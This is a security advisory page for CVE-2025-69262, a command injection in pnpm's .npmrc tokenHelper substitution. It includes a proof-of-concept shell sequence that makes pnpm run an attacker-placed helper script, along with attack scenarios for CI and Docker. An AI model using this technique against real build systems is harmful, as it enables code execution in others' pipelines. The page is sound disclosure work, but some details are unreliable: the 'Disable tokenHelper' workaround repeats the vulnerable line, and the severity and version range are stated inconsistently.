CVE-2025-69262: pnpm vulnerable to Command Injection via environment variable substitution

Published Jan 7, 2026
·
Updated

Summary

A command injection vulnerability exists in pnpm when using environment variable substitution in .npmrc configuration files with tokenHelper settings. An attacker who can control environment variables during pnpm operations could achieve remote code execution (RCE) in build environments.

Affected Components

- Package: pnpm - Versions: All versions using @pnpm/config.env-replace and loadToken functionality - File: pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts - loadToken() function - File: pnpm/config/config/src/readLocalConfig.ts - .npmrc environment variable substitution

Technical Details

Vulnerability Chain

1. Environment Variable Substitution - .npmrc supports ${VAR} syntax - Substitution occurs in readLocalConfig()

2. loadToken Execution - Uses spawnSync(helperPath, { shell: true }) - Only validates absolute path existence

3. Attack Flow .npmrc: registry.npmjs.org/:tokenHelper=${HELPERPATH} ↓ envReplace() → /tmp/evil-helper.sh ↓ loadToken() → spawnSync(..., { shell: true }) ↓ RCE achieved

Code Evidence

pnpm/config/config/src/readLocalConfig.ts:17-18 typescript key = envReplace(key, process.env) ini[key] = parseField(types, envReplace(val, process.env), key)

pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts:60-71 typescript export function loadToken(helperPath: string, settingName: string): string { if (!path.isAbsolute(helperPath) || !fs.existsSync(helperPath)) { throw new PnpmError('BADTOKENHELPERPATH', ...) } const spawnResult = spawnSync(helperPath, { shell: true }) // ... }

Proof of Concept

Prerequisites - Private npm registry access - Control over environment variables - Ability to place scripts in filesystem

PoC Steps

bash 1. Create malicious helper script cat > /tmp/evil-helper.sh << 'SCRIPT' #!/bin/bash echo "RCE SUCCESS!" > /tmp/rce-log.txt echo "TOKEN12345" SCRIPT chmod +x /tmp/evil-helper.sh

2. Create .npmrc with environment variable cat > .npmrc << 'EOF' registry=https://registry.npmjs.org/ registry.npmjs.org/:tokenHelper=${HELPERPATH} EOF

3. Set environment variable (attacker controlled) export HELPERPATH=/tmp/evil-helper.sh

4. Trigger pnpm install pnpm install # RCE occurs during auth

5. Verify attack cat /tmp/rce-log.txt

PoC Results ==> Attack successful ==> File created: /tmp/rce-log.txt ==> Arbitrary code execution confirmed

Impact

Severity - CVSS Score: 7.6 (High) - CVSS Vector: cvss:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

Affected Environments

High Risk: - CI/CD pipelines (GitHub Actions, GitLab CI) - Docker build environments - Kubernetes deployments - Private registry users

Low Risk: - Public registry only - Production runtime (no pnpm execution) - Static sites

Attack Scenarios

Scenario 1: CI/CD Supply Chain Repository → Build Trigger → pnpm install → RCE → Production Deploy

Scenario 2: Docker Build dockerfile FROM node:20 ARG HELPERPATH=/tmp/evil COPY .npmrc . RUN pnpm install # RCE

Scenario 3: Kubernetes Secret Control → Env Variable → .npmrc Substitution → RCE

Mitigation

Temporary Workarounds

Disable tokenHelper: ini .npmrc registry.npmjs.org/:tokenHelper=${HELPERPATH}

Use direct tokens: ini //registry.npmjs.org/:authToken=YOURTOKEN

Audit environment variables: - Review CI/CD env vars - Restrict .npmrc changes - Monitor build logs

Recommended Fixes

1. Remove shell: true from loadToken 2. Implement helper path allowlist 3. Validate substituted paths 4. Consider sandboxing

Disclosure

- Discovery: 2025-11-02 - PoC: 2025-11-02 - Report: [Pending disclosure decision]

References

- Repository: https://github.com/pnpm/pnpm - Affected: @pnpm/config.env-replace@^3.0.2 - Similar: CVE-2024-53866, CVE-2023-37478

Credit

Reported by: Jiyong Yang Contact: sy2n0@naver.com

Other sources

pnpm is a package manager. Versions 6.25.0 through 10.26.2 have a Command Injection vulnerability when using environment variable substitution in .npmrc configuration files with tokenHelper settings. An attacker who can control environment variables during pnpm operations could achieve Remote Code Execution (RCE) in build environments. This issue is fixed in version 10.27.0.

MITRE

Affected Software

3 affected componentsFixes available
npm/pnpm>=6.25.0<10.27.0
10.27.0
PNPM PNPM>=6.25.0<10.27.0
PNPM Pnpm Node.js>=6.25.0<10.27.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/pnpm to a version that resolves this vulnerability.

    Fixed in 10.27.0
  2. Configuration

    Remove or unset the registry.npmjs.org/:tokenHelper entry from .npmrc (do not use tokenHelper substitution) to prevent execution of helper programs referenced via environment variables.

    .npmrc registry.npmjs.org/:tokenHelper = unset/disabled
  3. Configuration

    Use a direct token in .npmrc (e.g. set registry.npmjs.org/:_authToken=YOUR_TOKEN) instead of tokenHelper environment-variable substitution.

    .npmrc registry.npmjs.org/:_authToken = YOUR_TOKEN
  4. Configuration

    Modify pnpm's loadToken implementation to call spawnSync without the { shell: true } option (i.e., remove shell: true) to avoid invoking a shell for helper execution.

    pnpm (loadToken) spawnSync shell option = remove shell: true
  5. Compensating control

    Implement a helper-path allowlist: only permit token helper absolute paths that match an approved list of locations/binaries before executing them.

  6. Compensating control

    Restrict .npmrc changes and repository/CI modifications: prevent unreviewed changes to .npmrc in source control and CI/CD pipelines and restrict who can modify pipeline environment variables.

  7. Compensating control

    Validate substituted helper paths at build time: ensure helperPath values are absolute and verified (e.g., via strict allowlist and existence checks) before execution; confirm current checks (path.isAbsolute + fs.existsSync) are enforced and hardened.

  8. Compensating control

    Consider sandboxing build environments: run pnpm installs and other build steps in restricted/sandboxed containers or VMs to limit impact if a helper is executed.

  9. Compensating control

    Monitor build outputs and logs for signs of helper execution or unexpected artifacts (for example artifacts like /tmp/rce-log.txt) and alert on unexpected helper activity.

Event History

Jan 7, 2026
Advisory Published
via GitHub·06:51 PM
Data Sourced
via GitHub·06:51 PM
DescriptionSeverityWeaknessAffected Software
CVE Published
via MITRE·10:30 PM
Data Sourced
via MITRE·10:30 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·11:15 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2025-69262?

CVE-2025-69262 has a severity rating that indicates a critical risk of remote code execution due to command injection vulnerabilities in pnpm.

2

How do I fix CVE-2025-69262?

To fix CVE-2025-69262, upgrade pnpm to version 10.27.0 or higher.

3

What causes CVE-2025-69262?

CVE-2025-69262 is caused by the unsafe handling of environment variable substitutions in the .npmrc configuration files with tokenHelper settings.

4

Who is affected by CVE-2025-69262?

CVE-2025-69262 affects all versions of pnpm between 6.25.0 and 10.26.0.

5

Can CVE-2025-69262 lead to remote code execution?

Yes, CVE-2025-69262 can lead to remote code execution if an attacker controls the environment variables during pnpm operations.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203